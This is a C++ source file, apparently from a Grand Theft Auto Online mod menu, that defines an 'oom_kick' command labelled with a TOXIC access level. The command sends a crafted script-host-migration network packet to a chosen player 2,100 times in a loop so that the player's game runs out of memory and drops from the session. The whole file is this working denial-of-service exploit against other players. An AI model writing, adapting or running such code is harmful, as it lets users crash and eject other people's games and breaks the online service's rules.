#include "backend/player_command.hpp"
#include "core/scr_globals.hpp"
#include "natives.hpp"
#include "packet.hpp"
#include "pointers.hpp"
#include "util/scripts.hpp"
namespace big
{
class oom_kick : player_command
using player_command::player_command;
std::chrono::system_clock::time_point last_oom_kick_time{};
virtual CommandAccessLevel get_access_level()
return CommandAccessLevel::TOXIC;
}
virtual void execute(player_ptr player, const std::vector<uint64_t>& _args, const std::shared_ptr<command_context> ctx)
if (std::chrono::system_clock::now() - last_oom_kick_time < 7s)
g_notification_service->push_error("Kick", "Don't spam this or it will backfire");
return;
last_oom_kick_time = std::chrono::system_clock::now();
if (auto freemode = gta_util::find_script_thread(RAGE_JOAAT("freemode")))
packet msg{};
msg.write_message(rage::eNetMessage::MsgScriptMigrateHost);
freemode->m_handler->get_id()->serialize(&msg.m_buffer);
msg.write<int>(0, 16);
msg.write<int>(0, 32);
auto msg_id = player->get_net_game_player()->m_msg_id;
for (int j = 0; j < 2100; j++)
msg.send(msg_id);
};
oom_kick g_oom_kick("oomkick", "OOM_KICK_CMD", "OOM_KICK_CMD_DESC", 0, false);